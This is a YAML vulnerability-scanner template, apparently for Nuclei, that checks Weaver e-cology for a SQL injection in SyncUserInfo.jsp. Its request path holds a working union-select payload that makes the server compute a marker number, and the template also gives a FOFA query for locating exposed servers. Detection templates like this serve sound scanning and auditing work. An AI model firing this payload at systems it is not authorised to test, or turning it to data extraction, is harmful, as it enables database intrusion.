41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: ecology-syncuserinfo-sqli
|
|
|
|
info:
|
|
name: Ecology Syncuserinfo - SQL Injection
|
|
author: ritikchaddha
|
|
severity: critical
|
|
description: Ecology Syncuserinfo contains a SQL injection vulnerability via a GET request. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
|
|
reference:
|
|
- https://www.weaver.com.cn/
|
|
- https://github.com/chaitin/xray/blob/master/pocs/ecology-syncuserinfo-sqli.yml
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cwe-id: CWE-89
|
|
cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
fofa-query: app="泛微-协同办公OA"
|
|
product: e-cology
|
|
vendor: weaver
|
|
tags: ecology,sqli
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str(98989*44313),null"
|
|
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "4386499557"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402205d5e8b81e2b21e95fb9292ddcbb6799cc1f932c2b839ec40c65dffadda9f4e71022049b4dd1aaf8efcaf4eafaf5be4c239cf243ff7f4888ad09d63832fa269e683e3:922c64590222798bb761d5b6d8e72950 |